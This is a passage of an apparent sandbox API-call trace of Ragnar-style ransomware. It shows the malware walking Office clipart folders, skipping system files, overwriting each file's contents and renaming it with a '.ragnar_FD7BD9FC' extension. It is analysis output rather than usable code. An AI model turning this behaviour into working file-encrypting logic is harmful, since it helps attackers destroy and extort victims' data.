(in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.493] CloseHandle (hObject=0xf4) returned 1 [0092.494] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" [0092.494] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.ragnar_FD7BD9FC" [0092.494] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6e15600, ftCreationTime.dwHighDateTime=0x1bd4bf8, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6e15600, ftLastWriteTime.dwHighDateTime=0x1bd4bf8, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01491_.WMF", cAlternateFileName="")) returned 1 [0092.494] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.494] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY01491_.WMF" | out: lpString1="SY01491_.WMF") returned="SY01491_.WMF" [0092.494] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF") returned=".WMF" [0092.494] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.494] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="autorun.inf") returned 1 [0092.494] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="boot.ini") returned 1 [0092.494] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="bootfont.bin") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="bootsect.bak") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="bootmgr") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="bootmgr.efi") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="desktop.ini") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="iconcache.db") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="ntldr") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="ntuser.dat") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="ntuser.ini") returned 1 [0092.495] lstrcmpiW (lpString1="SY01491_.WMF", lpString2="thumbs.db") returned -1 [0092.495] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.495] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.495] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.495] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.495] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.495] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.495] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf")) returned 0x20 [0092.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.496] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1136) returned 1 [0092.496] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x467, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.496] GetProcessHeap () returned 0x580000 [0092.496] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.496] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.497] VirtualAlloc (lpAddress=0x0, dwSize=0x470, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.497] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.497] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.497] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x470, lpOverlapped=0x0) returned 1 [0092.497] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.497] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x470, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.497] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x470, lpOverlapped=0x0) returned 1 [0092.498] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x470, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.498] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.498] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.498] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.498] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.498] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.498] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.498] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.498] GetProcessHeap () returned 0x580000 [0092.498] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.498] CloseHandle (hObject=0xf4) returned 1 [0092.498] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" [0092.498] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.ragnar_FD7BD9FC" [0092.498] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.499] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a48d00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45a48d00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01563_.WMF", cAlternateFileName="")) returned 1 [0092.499] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.499] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY01563_.WMF" | out: lpString1="SY01563_.WMF") returned="SY01563_.WMF" [0092.499] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF") returned=".WMF" [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="autorun.inf") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="boot.ini") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="bootfont.bin") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="bootsect.bak") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="bootmgr") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="bootmgr.efi") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="desktop.ini") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="iconcache.db") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="ntldr") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="ntuser.dat") returned 1 [0092.499] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.500] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="ntuser.ini") returned 1 [0092.500] lstrcmpiW (lpString1="SY01563_.WMF", lpString2="thumbs.db") returned -1 [0092.500] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.500] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.500] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.500] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.500] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.500] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.500] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf")) returned 0x20 [0092.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.500] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5060) returned 1 [0092.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.500] GetProcessHeap () returned 0x580000 [0092.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.501] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.502] VirtualAlloc (lpAddress=0x0, dwSize=0x13c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.502] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.502] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.502] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13c4, lpOverlapped=0x0) returned 1 [0092.503] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.503] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.503] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13c4, lpOverlapped=0x0) returned 1 [0092.503] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.503] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.503] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.503] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.503] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.503] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.503] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.503] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.503] GetProcessHeap () returned 0x580000 [0092.503] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.504] CloseHandle (hObject=0xf4) returned 1 [0092.504] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" [0092.504] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.ragnar_FD7BD9FC" [0092.504] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.504] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f39c000, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f39c000, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01572_.WMF", cAlternateFileName="")) returned 1 [0092.504] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.504] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY01572_.WMF" | out: lpString1="SY01572_.WMF") returned="SY01572_.WMF" [0092.504] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF") returned=".WMF" [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="autorun.inf") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="boot.ini") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="bootfont.bin") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="bootsect.bak") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="bootmgr") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="bootmgr.efi") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="desktop.ini") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="iconcache.db") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="ntldr") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="ntuser.dat") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="ntuser.ini") returned 1 [0092.505] lstrcmpiW (lpString1="SY01572_.WMF", lpString2="thumbs.db") returned -1 [0092.505] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.505] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.505] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.505] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.505] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.505] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.505] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf")) returned 0x20 [0092.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.506] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3304) returned 1 [0092.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.506] GetProcessHeap () returned 0x580000 [0092.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.506] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.508] VirtualAlloc (lpAddress=0x0, dwSize=0xce8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.508] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.508] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.508] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xce8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xce8, lpOverlapped=0x0) returned 1 [0092.509] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.509] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xce8, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.509] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xce8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xce8, lpOverlapped=0x0) returned 1 [0092.509] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xce8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.510] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xce8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.510] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.510] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.510] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.510] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.510] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.510] GetProcessHeap () returned 0x580000 [0092.510] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.510] CloseHandle (hObject=0xf4) returned 1 [0092.510] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" [0092.510] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft 